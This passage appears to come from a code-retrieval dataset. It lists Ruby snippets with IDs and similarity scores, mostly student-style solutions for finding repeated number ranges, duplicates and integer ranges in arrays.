new_arr[-1][-1] >= i\n end\n\n if num1 == arr[i + 1]\n arr.each_with_index do |num2, j|\n if j > i\n if num2 != num1\n new_arr << [i, j - 1]\n break\n elsif j == arr.length - 1\n new_arr << [i, j]\n end\n end\n end # j loop\n end\n end\n\n new_arr\nend", "title": "" }, { "docid": "b33897c463e09ac10e8b44a6d2ccf265", "score": "0.70890033", "text": "def repeated_number_ranges(arr)\n result = Hash.new\n start_point = nil\n end_point = nil\n current_value = nil\n\n arr.each_with_index do |value, i|\n if value != current_value\n current_value = value\n start_point = i\n end_point = i\n elsif value == current_value\n end_point = i\n end\n result[start_point] = end_point\n end\n\n # delete keys that equal to their array\n result.delete_if {|key, value| key == value}\n result.to_a\nend", "title": "" }, { "docid": "3b11b076c865e675d716d73c6b07bc1f", "score": "0.7078474", "text": "def repeated_number_ranges(arr)\n # go through each array and check following number\n # if repeat, store first index position and second position\n # if not repeat store the two positions into answer array ow change aa[1] to next with_index\n answer_arr = []\n store = []\n arr.each_with_index do |el, idx|\n if el == arr[idx + 1] && store.length == 0\n store << [idx, idx + 1]\n elsif el == arr[idx + 1] && store.length == 1\n store[0][1] = idx + 1\n else\n answer_arr << store\n store = []\n end\n end\n answer_arr.reject(&:empty?).flatten(1)\nend", "title": "" }, { "docid": "f9f0dbdb156100b2bcf1b684361e99ac", "score": "0.70522076", "text": "def repeated_number_ranges(arr)\n ans = []\n suba = []\n arr.each_with_index do |el,i|\n currel = el\n nextel = arr[i+1]\n if nextel == currel && suba.empty?\n suba << i\n end\n if suba.length == 1 && nextel != currel\n suba << i\n ans << suba\n suba = []\n end\n end\n ans\nend", "title": "" }, { "docid": "9d3c64b59de616e26213f2a034ecd2e6", "score": "0.66957337", "text": "def repeated_number_ranges(arr)\n return array(arr)\nend", "title": "" }, { "docid": "f05242496dfe787a1cf9e74e44b16baf", "score": "0.6693953", "text": "def range_iterative(start_idx, end_idx)\n range = []\n (start_idx...end_idx).each do |idx|\n range << idx\n end\n range\nend", "title": "" }, { "docid": "e8cacbcd858fd0c03ae440a2ccd02508", "score": "0.6684941", "text": "def find_repeat(numbers)\n floor, ceiling = 1, numbers.length - 1\n\n while floor < ceiling\n\n # Divide our range 1..n into an upper range and lower range\n # (such that they don't overlap).\n # Lower range is floor..midpoint.\n # Upper range is midpoint + 1..ceiling.\n midpoint = floor + (ceiling - floor) / 2\n lower_range_floor, lower_range_ceiling = floor, midpoint\n upper_range_floor, upper_range_ceiling = midpoint + 1, ceiling\n\n # Count number of items in lower range.\n items_in_lower_range = numbers.count do |item|\n item >= lower_range_floor && item <= lower_range_ceiling\n end\n\n distinct_possible_integers_in_lower_range =\n lower_range_ceiling - lower_range_floor + 1\n\n if items_in_lower_range > distinct_possible_integers_in_lower_range\n # There must be a duplicate in the lower range\n # so use the same approach iteratively on that range.\n floor, ceiling = lower_range_floor, lower_range_ceiling\n else\n # There must be a duplicate in the upper range\n # so use the same approach iteratively on that range.\n floor, ceiling = upper_range_floor, upper_range_ceiling\n end\n end\n\n # Floor and ceiling have converged.\n # We found a number that repeats!\n floor\nend", "title": "" }, { "docid": "c0acadcc5d3c26ab7e53f728f697f864", "score": "0.6658489", "text": "def range_summary(arr)\r\n start = 0\r\n ranges = []\r\n\r\n (1...arr.length).each do |i|\r\n if arr[i + 1] != arr[i] + 1\r\n ranges << [start, arr[i]]\r\n start = arr[i + 1]\r\n end\r\n end\r\n\r\n ranges\r\nend", "title": "" }, { "docid": "aae54caa9bcca947458174c9cd82da03", "score": "0.6546472", "text": "def find_repeat the_array\n floor = 1\n ceiling = the_array.length - 1\n\n while floor < ceiling\n\n # divide our range 1..n into an upper range and lower range\n # (such that they don't overlap)\n # lower range is floor..midpoint\n # upper range is midpoint+1..ceiling\n midpoint = floor + ((ceiling - floor) / 2)\n lower_range_floor, lower_range_ceiling = floor, midpoint\n upper_range_floor, upper_range_ceiling = midpoint+1, ceiling\n\n # count number of items in lower range\n items_in_lower_range = 0\n the_array.each do |item|\n # is it in the lower range?\n if item >= lower_range_floor and item <= lower_range_ceiling\n items_in_lower_range +=1\n end\n end\n\n distinct_possible_integers_in_lower_range = \\\n lower_range_ceiling - lower_range_floor + 1\n\n if items_in_lower_range > distinct_possible_integers_in_lower_range\n # there must be a duplicate in the lower range\n # so use the same approach iteratively on that range\n floor, ceiling = lower_range_floor, lower_range_ceiling\n else\n # there must be a duplicate in the upper range\n # so use the same approach iteratively on that range\n floor, ceiling = upper_range_floor, upper_range_ceiling\n end\n end\n\n # floor and ceiling have converged\n # we found a number that repeats!\n return floor\n\nend", "title": "" }, { "docid": "5af2d04ca8fc784a71c1dec632063b24", "score": "0.6488613", "text": "def repeated_number_ranges(numbers)\n #\n # your code goes here\n #\nend", "title": "" }, { "docid": "8c678755aff5bcb77269b2a69ab34964", "score": "0.6421083", "text": "def range_summary(array)\n # initiate an empty array, accumulator\n # iterate thru the given array looking for contiguity\n # add ints to chunk if contiguos, extract first and last when not contiguos\n\n result = Array.new\n array.each.with_index do |x, i|\n range = []\n if x + 1 == array[i + 1]\n range << x << array[i+1]\n else result << [range.first, range.last]\n # range = []\n end\n end\n\n result\nend", "title": "" }, { "docid": "57e777c94d8afb605bbaabfafeb42922", "score": "0.6410857", "text": "def find_repeat(the_array)\n floor = 1\n ceiling = the_array.length - 1\n\n while floor < ceiling\n\n # divide our range 1..n into an upper range and lower range\n # (such that they don't overlap)\n # lower range is floor..midpoint\n # upper range is midpoint+1..ceiling\n midpoint = floor + ((ceiling - floor) / 2)\n lower_range_floor, lower_range_ceiling = floor, midpoint\n upper_range_floor, upper_range_ceiling = midpoint+1, ceiling\n\n # count number of items in lower range\n items_in_lower_range = 0\n the_array.each do |item|\n # is it in the lower range?\n if item >= lower_range_floor and item <= lower_range_ceiling\n items_in_lower_range += 1\n end\n end\n\n distinct_possible_integers_in_lower_range = \\\n lower_range_ceiling - lower_range_floor + 1\n\n if items_in_lower_range > distinct_possible_integers_in_lower_range\n # there must be a duplicate in the lower range\n # so use the same approach iteratively on that range\n floor, ceiling = lower_range_floor, lower_range_ceiling\n else\n # there must be a duplicate in the upper range\n # so use the same approach iteratively on that range\n floor, ceiling = upper_range_floor, upper_range_ceiling\n end\n end\n\n # floor and ceiling have converged\n # we found a number that repeats!\n return floor\nend", "title": "" }, { "docid": "6240afc96c7c008198bb843c03bed52e", "score": "0.6378324", "text": "def summary_ranges(nums)\n nums.reduce([]) { |acc, x|\n if acc.empty? || acc.last.last + 1 != x\n acc << [x, x]\n else\n acc << [acc.pop.first, x]\n end\n }.map { |x|\n x.first == x.last ? x.first.to_s : \"#{x.first}->#{x.last}\"\n }\nend", "title": "" }, { "docid": "e3f9440d4efc6c6571ef69e3b96e673d", "score": "0.63647693", "text": "def range(start, finish)\n (start...finish).map do |i|\n i\n end\nend", "title": "" }, { "docid": "82f1c3c995519c056a715f8c8024e0fc", "score": "0.6333957", "text": "def i_range(startt, endd)\n range = []\n while startt < endd\n range << startt\n startt += 1\n end\n range\nend", "title": "" }, { "docid": "a536b94ec97ea45ee4ef6067d7c014ca", "score": "0.63284856", "text": "def summary_ranges_2 nums\r\n nums.slice_when do |elt_before, elt_after|\r\n elt_before + 1 != elt_after\r\n end.map do |first, *, last|\r\n last ? \"#{first}->#{last}\" : \"#{first}\"\r\n end\r\nend", "title": "" }, { "docid": "b4075762c58c9b55420f005f500316b3", "score": "0.63224286", "text": "def find_duplicate(nums)\n start = 1\n finish = nums.size - 1\n while start < finish\n mid = start + (finish - start) / 2\n count = nums.count { |x| x.between?(start, mid) }\n if count > mid - start + 1\n finish = mid\n else\n start = mid + 1\n end\n end\n \n start\nend", "title": "" }, { "docid": "3cbde980a1c8032089e17042b02f7251", "score": "0.62839335", "text": "def get_idx_using_range()\n\n run = []\n test_cases = @cfg['run_cases'].gsub(/\\s+/, \"\").strip().split('-')\n\n # get begining and ending idx numbers from values in testcases-bak.rb file\n b = e = 0\n b = test_cases[0].to_i\n e = test_cases[1].to_i\n\n if b == 0 or e == 0\n raise StandardError.new(\"ERROR: invalid begining or ending run value. \")\n return\n end\n while b <= e do\n run << b.to_s\n b+=1\n end\n return run\n end", "title": "" }, { "docid": "393bdc2344f7683279e2843d954c38b0", "score": "0.6236735", "text": "def zero_indexed_range_from_one_indexed_numbers(start_line_number, end_line_number); end", "title": "" }, { "docid": "393bdc2344f7683279e2843d954c38b0", "score": "0.6236735", "text": "def zero_indexed_range_from_one_indexed_numbers(start_line_number, end_line_number); end", "title": "" }, { "docid": "6145ca60de4470b12f167ac2b2364bd4", "score": "0.6148329", "text": "def ranges\n pairs.map { |b, e| (b...e) }\n end", "title": "" }, { "docid": "39e7f5ae466786698c2e9f99a22d6830", "score": "0.61146146", "text": "def ranges\n arr = []\n i=0\n (1..@size).each do |n|\n arr << (i...@size*n)\n i = @size*n\n end\n return arr\n end", "title": "" }, { "docid": "c9a551e6b0c420df5aee2cff9c14fdcf", "score": "0.60766196", "text": "def no_repeats(year_start, year_end)\n \n range = year_end - year_start\n t = []\n if range == 0\n if year_start == year_start.to_s.split('').uniq.join().to_i\n return t << year_start\n else\n return t\n end\n else \n i = 0\n c = year_start\n while i <= range\n c = year_start + i \n if c == c.to_s.split('').uniq.join().to_i\n t << c\n end\n i += 1\n end\n end\n \n t\nend", "title": "" }, { "docid": "ca60fb5d8cc2c081080c27b8c8dec130", "score": "0.6069955", "text": "def range(start, last)\n return [] if start >= last\n \n next_num = start + 1\n [start, *range(next_num, last)]\n\nend", "title": "" }, { "docid": "c25ac9e59f73764048c93200a83f2f71", "score": "0.60349256", "text": "def find_ranges(array)\n length = array.length\n ranges = []\n \n front = 0\n back = 0\n \n while front < length\n if array[back + 1] == array[back] + 1\n back += 1\n elsif front == back\n ranges << array[front]\n front = back + 1\n back = front\n else\n ranges << \"#{array[front]}-#{array[back]}\"\n front = back + 1\n back = front\n end\n end\n \n return ranges.join(\", \")\nend", "title": "" }, { "docid": "379f67b543be1ba3219f97dde0353d05", "score": "0.6021776", "text": "def zero_indexed_range_from_one_indexed_numbers(start_line_number, end_line_number)\n # FIXME: one_index_number is a horrible name for this method\n one_index_number(start_line_number)..one_index_number(end_line_number)\n end", "title": "" }, { "docid": "f537c39d02055e8bcc8f4f7cb8cb6068", "score": "0.60056096", "text": "def iterative_range(start_num, end_num)\n result = []\n\n (start_num...end_num).each { |num| result << num}\n result\nend", "title": "" }, { "docid": "626efed3ef389d3f93a7ff92dced5200", "score": "0.59578025", "text": "def sublist_range(range)\n f = range.first\n l = range.exclude_end? ? range.last - 1 : range.last\n sublist_span(f, l - f + 1)\n end", "title": "" }, { "docid": "d73853a3bbe4f181fece051fd9968ebd", "score": "0.5937558", "text": "def range( start, stop )\n list = []\n start.upto stop do | number |\n list.push number\n end\n list\nend", "title": "" }, { "docid": "def5c51f8058c3f71039d6c5c7fec2d7", "score": "0.59349257", "text": "def get_ranges(first, last)\n length = @values.length\n first = first % length\n last = last % length\n\n if last < first\n [(first...length), (0...last)]\n else\n [(first...last)]\n end\n end", "title": "" }, { "docid": "bae6eb47796ef9867fa5b57a744ddc2a", "score": "0.5920241", "text": "def indexes_from_intervals intervals\n intervals.split(\",\").map do |term|\n if term =~ /^(\\d+)-(\\d+)$/ then ($1.to_i .. $2.to_i).to_a\n elsif term =~ /^(\\d+)$/ then $1.to_i\n else ui.warn(\"Bad interval: #{term}\") ; nil\n end\n end.flatten.compact.uniq\n end", "title": "" }, { "docid": "d1ae6649c9332273f4a093ebeb6f6e8a", "score": "0.591753", "text": "def solution(a)\n ranges = a.each_with_index.map {|value, index|\n (index - value)..(index + value)\n }\n \n ranges.map.with_index {|range, index|\n ranges.slice(index+1..-1).map{|r| \n r.first <= range.last && range.first <= r.last ? true : nil\n }\n }.flatten.reject{|a| a != true}.count\nend", "title": "" }, { "docid": "5677c23d88534640a53379e043ef2333", "score": "0.5901384", "text": "def range_recursive(start_idx, end_idx)\n return [] if end_idx <= start_idx\n [ *[start_idx], *range_recursive(start_idx+1, end_idx) ]\nend", "title": "" }, { "docid": "1aa21a95d28e8dc680363594a8786bf5", "score": "0.5895037", "text": "def offset_range(range)\n ((range.first + 1.second)...(range.last + 1.second))\n end", "title": "" }, { "docid": "1a1b3dc48d3a283ec07063ee60790aa4", "score": "0.5887482", "text": "def get_range_from_row(starting, ending)\n row = get_row_index(starting)\n column_limits = [get_column_index(starting).to_i]\n column_limits << get_column_index(ending).to_i\n\n range = (column_limits.min .. column_limits.max).map do |column|\n coordinate_builder(row,column)\n end\n return range\n end", "title": "" }, { "docid": "5a64fb49787ee5b4b78937d4dfe7b82b", "score": "0.5873608", "text": "def OverlappingRanges(arr)\n return (([arr[1], arr[3]].min - [arr[0], arr[2]].max) + 1) >= arr[4] \nend", "title": "" }, { "docid": "99381b73be250fc4462fe7844950b127", "score": "0.5848773", "text": "def icecreamParlor(m, arr)\n arr.each.with_index do |element1, index1|\n arr.each.with_index do |element2, index2|\n if((element1 + element2) == m && (index1 != index2))\n return [index1+1, index2+1]\n end\n end\n end\n\nend", "title": "" }, { "docid": "51f3d412ae8ffb0f810baedc0d81869a", "score": "0.58476675", "text": "def list_range(n, m, acc = [])\n acc << n\n return acc if n == m\n\n list_range(n+1, m, acc)\nend", "title": "" }, { "docid": "0a3d3e003a1365be11b453f1b5a2c61c", "score": "0.5837093", "text": "def with_range(start, stop)\n @positions = []\n start.upto(stop) {|position| @positions << position}\n end", "title": "" }, { "docid": "9ddcde508933b26817184b9bb9252666", "score": "0.58362883", "text": "def positions_in_range(n, c, cap_Delta, range)\n a = range.first # python start\n b = range.last # python end\n pos = a + ((n - a - cap_Delta - 1) % c)\n pos > b ? nil : [pos] << positions_in_range(n, c, cap_Delta, interval(pos + 1, b))\n end", "title": "" }, { "docid": "dbdd09771b1cf59c6b52ff1a3f8a7820", "score": "0.5815856", "text": "def composeRanges(nums)\n return [] if nums.empty?\n ranges = []\n ranges << [nums.first]\n i = 1\n while i < nums.length\n if nums[i] - nums[i-1] == 1\n ranges.last << nums[i]\n else\n ranges << [nums[i]]\n end\n i += 1\n end\n ranges.map do |range|\n if range.length == 1\n range.first.to_s\n else\n \"#{range.first}->#{range.last}\"\n end\n end\nend", "title": "" }, { "docid": "622095dc50d2e92325812829f5cd5cef", "score": "0.5796606", "text": "def range(startNum, endNum)\n return [] if endNum < startNum\n\n return [startNum] if startNum + 1 == endNum\n\n [startNum] + range(startNum + 1, endNum)\nend", "title": "" }, { "docid": "fa43a0d3e542dd374269906a4e384270", "score": "0.57953936", "text": "def range_nums(start, finish)\n return [] if start + 1 >= finish\n\n new_array = [start + 1]\n new_array.concat (range_nums(new_array[-1], finish))\n\n new_array\nend", "title": "" }, { "docid": "dd23ba5f05f6fadd5268ca3867d5fdd8", "score": "0.5791507", "text": "def search_range(nums, target)\n emp = []\n if nums.include?(target)\n nums.each_with_index do |n,i|\n if n == target\n emp.push(i)\n end\n end\n\n emp.map {|n| [emp[0], emp[emp.length - 1]] }[0]\n\n else\n [-1,-1]\n end\nend", "title": "" }, { "docid": "46a5c55715245f2dd250e51c61fc415b", "score": "0.5787287", "text": "def range(start_num, end_num)\n return [] if end_num < start_num\n return [start_num] if end_num - start_num == 1\n result = [start_num]\n result + range(start_num + 1, end_num)\nend", "title": "" }, { "docid": "05eb49e227f9e1c705cd8979c9a091b3", "score": "0.57810575", "text": "def get_overlapping_indexes(data)\n indexes = {}\n each_position_length_field(data) do |position, length, field|\n position.upto(position + length - 1) do |i|\n if(indexes[i].nil?)\n indexes[i] = 1\n else\n indexes[i] += 1\n end\n end\n end\n\n # I know there's a better way to do this, but I don't know what it is\n overlaps = []\n indexes.each_pair() do |i, v|\n if(v > 1)\n overlaps << i\n end\n end\n\n return overlaps\n end", "title": "" }, { "docid": "62df34b2dc8466f5614d72a6639d56db", "score": "0.57731897", "text": "def one_index_range(range); end", "title": "" }, { "docid": "62df34b2dc8466f5614d72a6639d56db", "score": "0.57731897", "text": "def one_index_range(range); end", "title": "" }, { "docid": "3c6ff870ea18471a8de4567c2c513605", "score": "0.5772784", "text": "def create_number_sets\n horizontal_ary = Array.new\n five_ary = Array.new\n @@ranges. each do |range|\n five_uniq_values = false\n while !five_uniq_values\n 5.times {five_ary << rand(range) }\n five_ary.uniq!\n if five_ary.length == 5\n horizontal_ary << five_ary\n five_uniq_values = true\n end\n five_ary = []\n end\n end\n horizontal_ary\n end", "title": "" }, { "docid": "d01be50fe0ef0aa7cbc071123c685789", "score": "0.5759402", "text": "def search_range(nums, target)\n range_begin = find_beginning(nums, target, 0, nums.length - 1)\n range_end = find_ending(nums, target, 0, nums.length - 1)\n\n [range_begin, range_end]\nend", "title": "" }, { "docid": "15533a9c33a7f3d6faf6d2637309e07d", "score": "0.5754818", "text": "def range(start_num, end_num)\n return [] if end_num <= start_num\n\n [start_num] + range(start_num + 1, end_num)\nend", "title": "" }, { "docid": "3e3e57a0d082c1b8fda00608289a5337", "score": "0.5754411", "text": "def duplicate_range(range, seen_objects); end", "title": "" }, { "docid": "39ba2857152ba39c2349e6424a23d55b", "score": "0.5714101", "text": "def OverlappingRanges1(arr)\n return [arr[1] - arr[2], arr[1] - arr[0], arr[3] - arr[0]].max - (arr[2] - arr[0]).abs - (arr[3] - arr[1]).abs + 1 == arr[4] \nend", "title": "" }, { "docid": "710ddbe52f03a021d6655bd51a7f72fa", "score": "0.5712972", "text": "def range(start_num, end_num)\n\tnums = []\n\n\treturn nums if end_num < start_num\n\t(start_num..end_num).each { |num| nums << num }\n\n\tnums\nend", "title": "" }, { "docid": "6742d8d5e62afe2a3c1f7c9ae362ab13", "score": "0.57080454", "text": "def number_list(start, ends)\r\n number_arr = Array.new(ends-1) { |i| i+=start}\r\n number_arr\r\nend", "title": "" }, { "docid": "37879a0481ab32cbd30ebac67a4a4bcf", "score": "0.57067335", "text": "def gen_list(range)\n range = range.split('-')\n\n if range[1].size > 5\n puts \"[!]\" + \"From #{range[0]} to #{range[1]} would take very long time! please use size <= 5\"\n exit(0)\n end\n\n (range[0]..range[1]).to_a\n end", "title": "" }, { "docid": "5b7a4f7f55126bd1c0fcdca6bf984d9f", "score": "0.57045573", "text": "def OverlappingRanges2(arr)\n overlapped = ([arr[0], arr[2]].max..[arr[1], arr[3]].min).to_a.length\n overlapped >= arr[4]\nend", "title": "" }, { "docid": "056f75ae5098961b89b98a779eb70c28", "score": "0.5703972", "text": "def merge_ranges(array)\n array.sort!\n range = []\n range << array.first\n for i in (0..array.length - 1)\n if array[i - 1].last < array[i].first\n merged_times = [(array[i] + array[i + 1]).first, (array[i] + array[i + 1]).last]\n range << merged_times\n end\n end\n p range\nend", "title": "" }, { "docid": "4659fe75fa8f559e58763054ef91d7b2", "score": "0.5683627", "text": "def list_range(ell, range)\n ell.select{|l| range.include?(l) }.compact\n end", "title": "" }, { "docid": "fc4908bd4bc9d2b3c420429277c9230b", "score": "0.56761706", "text": "def element_times_index(numbers)\n\nend", "title": "" }, { "docid": "bb38d28a46c2a2de0a63a1ed405986d8", "score": "0.56760895", "text": "def range(start, finish)\n # base case\n return nil if finish < start\n return [finish] if start == finish\n # inductive step\n all_numbers = [start]\n all_numbers.concat(range(start + 1, finish))\n all_numbers\nend", "title": "" }, { "docid": "f2f20a9053654641f1f3300d7f8190e2", "score": "0.56725407", "text": "def range(start, last)\n return [] if start > last\n return [start] if start == last - 1\n [start] + range(start+1, last)\nend", "title": "" }, { "docid": "ab2a6f7f68d2f417186f0e65737095ea", "score": "0.5668971", "text": "def non_overlapping_range(arr)\n result = []\n\n return arr if arr.length == 1\n\n i = 0\n while i < arr.length\n current = arr[i]\n\n if i == 0 && current[1] < arr[i + 1][0]\n result.push(current)\n elsif i == arr.length - 1 && current[0] > arr[i - 1][1]\n result.push(current)\n break\n elsif i != arr.length - 1 && current[1] < arr[i + 1][0] && current[0] > arr[i - 1][1]\n result.push(current)\n end\n\n i += 1\n end\n result\nend", "title": "" }, { "docid": "3043f6939c5825bc1cb3248ae68817ad", "score": "0.56652874", "text": "def number_combinations\n (0..4).map { |i| [number.to_s[0..i + 2], number.to_s[i + 3..-1]] }\n end", "title": "" }, { "docid": "cd3b5955d2fd6e3ddefbcec99290f4af", "score": "0.56549275", "text": "def range_to_linenumbers(range)\n\treturn [range.to_i] unless range.split(',').length > 1 \n\trstart, rend = range.split(',')\n\tln = (rstart.to_i..rend.to_i).to_a\nend", "title": "" }, { "docid": "e8b89ee300549ad8c320a14334632ad3", "score": "0.56545115", "text": "def indices e\n start, result = -1, []\n result << start while start = (self.index e, start + 1)\n result\n end", "title": "" }, { "docid": "931e11e39058b3793ac62130bf7ca1a7", "score": "0.56536293", "text": "def range(start_num, end_num)\n return [] if end_num < start_num || start_num == end_num\n nums = []\n nums << start_num\n nums += range(start_num + 1, end_num)\n \nend", "title": "" }, { "docid": "831c620a72915558dd5cf860726a0692", "score": "0.56516904", "text": "def on(numbers, target)\n hash_table = {}\n\n numbers.each_with_index do |number, index|\n hash_table[target-number] = index\n end\n\n numbers.each_with_index do |number, index_two|\n index_one = hash_table[number]\n\n return [index_one, index_two] if index_one && index_one != index_two\n end\n end", "title": "" }, { "docid": "5aabdd5dc1f5a1c7c3bd3b1d2022ce28", "score": "0.564979", "text": "def range(start_num, end_num)\n return [] if end_num < start_num\n prev_range = range(start_num, end_num - 1)\n prev_range.concat([end_num])\nend", "title": "" }, { "docid": "f8f38d0115473c60cab1503d8a3f2ac5", "score": "0.56475264", "text": "def no_repeats(year_start, year_end)\n arr = []\n (year_start..year_end).each do |year|\n arr << year \n end\n \n idx = 0\n no_repeat = []\n while idx < arr.length\n year = arr[idx]\n idx2 = 0\n while idx2 < year.length\n (1..9).all?{|digit| year.count(digit) <= 1}\n if true\n no_repeat << year\n end\n idx2 +=1\n end\n idx +=1\n end\n return no_repeat\nend", "title": "" }, { "docid": "2ffc82280f5581f161882521b2ca3ae3", "score": "0.5640887", "text": "def ids(tab, offset, n, ep, x)\n ret = (0..n - 1).to_a.product((\"A\"..\"E\").to_a).map{ |s|\n tab + \"-\" + s[1].to_s + \"-\" + s[0].to_s.rjust(2,\"0\")\n }\n if x\n ret += (0..n - 1).to_a.map{ |s| tab + \"-X-\" + s.to_s.rjust(2,\"0\") }\n end\n if !ep\n ret = ret.map{ |e| (0..4).to_a.map{ |l| e + \"-\" + l.to_s.rjust(2,\"0\") } }.flatten\n end\n ret = ret.each_with_index.map{ |l, i| [offset + i, l] }.to_h\nend", "title": "" }, { "docid": "2ffc82280f5581f161882521b2ca3ae3", "score": "0.5640887", "text": "def ids(tab, offset, n, ep, x)\n ret = (0..n - 1).to_a.product((\"A\"..\"E\").to_a).map{ |s|\n tab + \"-\" + s[1].to_s + \"-\" + s[0].to_s.rjust(2,\"0\")\n }\n if x\n ret += (0..n - 1).to_a.map{ |s| tab + \"-X-\" + s.to_s.rjust(2,\"0\") }\n end\n if !ep\n ret = ret.map{ |e| (0..4).to_a.map{ |l| e + \"-\" + l.to_s.rjust(2,\"0\") } }.flatten\n end\n ret = ret.each_with_index.map{ |l, i| [offset + i, l] }.to_h\nend", "title": "" }, { "docid": "821c6f2d21258cb6c6486423d850ba28", "score": "0.56401336", "text": "def longest_contained_range_two(array)\n return if array.length < 2\n\n counts = Hash.new(false)\n\n min, max = Float::INFINITY, -Float::INFINITY\n\n array.each do |n|\n min = n if n < min\n max = n if n > max\n\n counts[n] = true\n end\n\n max_interval, current_interval, seen = 0, 0, 0\n\n (min..max).each do |n|\n if counts[n] && counts[n - 1]\n seen +=1\n current_interval += 1\n else\n current_interval = 1\n end\n\n max_interval = [current_interval, max_interval].max\n\n break if seen >= counts.count\n end\n\n max_interval\nend", "title": "" }, { "docid": "13365afde9d84204e3b3a19f69b31f3b", "score": "0.5638706", "text": "def range(min, max)\n result = []\n i = 0\n while i <= max\n if i >= min && i <= max\n result << i\n end\n i += 1\n end\n result\nend", "title": "" }, { "docid": "222f5755ef1bf5161942d7a76f6fe9cf", "score": "0.5632598", "text": "def indices(position, count, initial_shift)\n cycles = 0\n loop do\n position.times do |i|\n index = (4 * position) * cycles + initial_shift * position + i - 1\n return unless index < count\n yield index\n end\n cycles += 1\n end\nend", "title": "" }, { "docid": "87f236e8ea5e3a7a73aac4b58fbb1087", "score": "0.5628806", "text": "def range(start,stop)\n return [] if start >= stop\n [start] + range(start+1,stop)\nend", "title": "" } ]
d0df87b1bea9b55706b1c7c4184cdaba
PATCH/PUT /posts/1 PATCH/PUT /posts/1.json
[ { "docid": "d74e90efa32778b0b355a95a18ea95ba", "score": "0.0", "text": "def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to @post, notice: t('.notice') }\n format.json { render :show, status: :ok, location: @post }\n else\n format.html { render :edit }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "34c10c4557f689baa30ce671828a8692", "score": "0.7020792", "text": "def update\n @api_v1_post = Post.find(params[:id])\n params[:post].delete :created_at\n params[:post].delete :updated_at\n respond_to do |format|\n if @api_v1_post.update_attributes(params[:post])\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dcf0e2d221c4230634f608d7d00af266", "score": "0.70012075", "text": "def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "779a91b90c7e731678971b5689ec9b70", "score": "0.6912964", "text": "def update\n @post = Post.find(params[:id])\n @post.update(post_params)\n render json: @post \n end", "title": "" }, { "docid": "7599b6acda033b21082c7a67a2516d88", "score": "0.6851282", "text": "def update\n json_update_and_sanitize(post,post_params, Post)\n end", "title": "" }, { "docid": "268a8837ab76129f50aa6c9a2c5e73c3", "score": "0.6817441", "text": "def update\n @post.update!(post_params)\n render json: {status: :ok}\n end", "title": "" }, { "docid": "fef606243741752603cf8b7a9b458009", "score": "0.6773322", "text": "def update\n user = User.find_by({token: env['HTTP_TOKEN']})\n post = user.posts.find(params[:id])\n post.update(post_params)\n render json: post\n\n end", "title": "" }, { "docid": "d5eaea298e64625a71a15a970f3b75ed", "score": "0.6727623", "text": "def patch *args\n make_request :patch, *args\n end", "title": "" }, { "docid": "fa16209f5ac39ae638cdf45c17fd5f18", "score": "0.66745293", "text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end", "title": "" }, { "docid": "fa16209f5ac39ae638cdf45c17fd5f18", "score": "0.66745293", "text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end", "title": "" }, { "docid": "248bd87e1d19021d8624efcda2373ffd", "score": "0.6626953", "text": "def update\n \t\n \tif @post.update_attributes(post_params)\n \t\trender json: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n \n end", "title": "" }, { "docid": "a726e122c8039fa5cc7048e89925751f", "score": "0.6604356", "text": "def update\n if @post.update(post_params)\n render json: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "482dc30a623c3a8d02b386b9544a849a", "score": "0.6595266", "text": "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to root_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fd5f00640bdb0c785bcac4689a46f3c", "score": "0.65393233", "text": "def patch(data, options={})\n raise NotImplementedError, \"We only patchs to singular resources.\" if count > 1\n first.patch(data, options)\n end", "title": "" }, { "docid": "6b0bee4be8c65a81341bbb3bad1b8dab", "score": "0.6533044", "text": "def update\n if post_params\n @post = do_update(post_params) # do individual update\n\n respond_to do |format|\n if @post.save\n format.json { render json: @post, status: :ok }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n\n else\n mass_create_update\n end\n end", "title": "" }, { "docid": "b4cc3ee2207b39abaf779a6078bbaf3a", "score": "0.65315694", "text": "def patch\n PATCH\n end", "title": "" }, { "docid": "b4cc3ee2207b39abaf779a6078bbaf3a", "score": "0.65315694", "text": "def patch\n PATCH\n end", "title": "" }, { "docid": "851451646e53ec13fbef6921d333442a", "score": "0.6522631", "text": "def update\n post = Post.find(params[:id])\n if post.update_attributes(post_params)\n render :json => {:ok => true}, :head => :no_content\n else\n render :json => {:ok => false, :message => post.errors}, :status => :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a2c832ae3d71ecb3f78b96b6475de120", "score": "0.652121", "text": "def update\n if @post.update(post_params)\n render json: @post, status: 201\n else\n render json: { message: \"Error. Error. Please try again.\"}, status: 400\n end\n end", "title": "" }, { "docid": "d75bc1b99f134fe45bc5d2848ffae265", "score": "0.6473327", "text": "def update\n if @post.update(post_params)\n render json: @post, status: 200\n else\n render :json => @post.errors, :status => 422\n end\n end", "title": "" }, { "docid": "67987b36f9d627752ee5cdb5bcd6f7a3", "score": "0.6468925", "text": "def patch(body: nil, path: nil, headers: nil, id: nil)\n post(body: body, path: path, headers: headers, http_method: :patch, id: id)\n end", "title": "" }, { "docid": "f50152818f34096c115d0dc8a8cedf78", "score": "0.6461511", "text": "def update\n@post = Post.find(params[:id])\nrespond_to do |format|\nif @post.update_attributes(params[:post])\nformat.html { redirect_to @post, notice: 'post was successfully updated.' }\nformat.json { head :no_content }\nelse\nformat.html { render action: \"edit\" }\nformat.json { render json: @post.errors, status: :unprocessable_entity }\nend\nend\nend", "title": "" }, { "docid": 